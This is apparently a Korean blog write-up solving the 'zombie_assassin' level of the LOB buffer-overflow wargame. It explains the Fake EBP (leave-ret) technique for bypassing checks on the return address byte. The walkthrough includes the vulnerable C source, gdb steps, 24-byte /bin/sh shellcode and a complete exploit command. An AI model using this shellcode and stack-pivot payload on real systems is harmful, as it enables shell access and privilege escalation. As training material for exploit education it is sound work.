[LOB] assassin
assassin으로 로그인하면 zombie_assassin파일이 있다.
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
// strncpy instead of strcpy!
strncpy(buffer, argv[1], 48);
printf("%s\n", buffer);
}
문제를 보게 되면, FEBP가 적혀있다. 이번문제를 Fake EBP를 활용해서 문제를 풀어야 되는 거 같다.
코드를 보면,
1. if(argv[1][47]=='\xbf')와 if(argv[1][47]=='\x40')에서 만족 시 exit(0)되는 것을 통해서 48bytes째에서 입력 인자가 '\xbf'와 '\x40'이 되면 안 된다.
→ \xbf는 스택에 쉘코드를 넣고 주소입력 불가하도록 한 것이고
→ \40는 RTL로 libc주소를 입력하지 못하도록 한 것이다.
2. strncpy(buffer, argv[1], 48);에서 인자 길이를 48bytes로 지정한다. 하지만 buffer의 크기는 40bytes이니까, buffer(40)+sfp(4)+ret(4)까지 변조가 가능하다.
이번 문제를 풀기 위해 Fake EBP(FEBP)를 이용해서 문제를 풀어야 하는데
Fake EBP란 EBP를 조작하는 기법으로 leave - ret 가젯을 이용하여서 EIP를 조작하는 방법이다.
일반적인 경우 :
leave
mov esp ebp
pop ebp
ret
pop eip
jmp eip
Fake EBP 이용하는 경우 :
leave
mov esp ebp ①
pop ebp ②
leave
mov esp ebp ③
pop ebp ④
ret
pop eip ⑤
jmp eip ⑥
① mov esp ebp
② pop ebp
③ mov esp ebp
④ pop ebp
⑤ pop eip
eip에 (buffer + 4)주소가 들어간다.
⑥ jmp eip
eip에 의해서 쉘코드가 실행된다.
구성:
[buffer]
buffer+4 주소 (4bytes)
shellcode (24byte) dummy (12bytes)
[sfp]
buffer-4 주소 (4bytes)
[ret]
leave - ret 있는 주소 (4bytes)
1. buffer
1) buffer + 4 = 0xbffffa94
- buffer 주소 구하기 (tmp 폴더에서 진행)
$ ./zombie_assassin `python -c 'print "A"*44'`
(gdb) gdb -q -c core
☞ buffer 주소 : 0xbffffa90
☞ buffer 주소 +4 : 0xbffffa94
2) shellcode(24bytes)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3) dummy (12bytes) : "\x90"*12
2. sfp : buffer - 4
☞ buffer 주소 : 0xbffffa90
☞ buffer 주소 - 4 : 0xbffffa8c
3. ret
(gdb) disass main
leave-ret 주소 : 0x80484df
페이로드 :
./zombie_assassin `python -c 'print "\x94\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*12+"\x8c\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`
성공~😉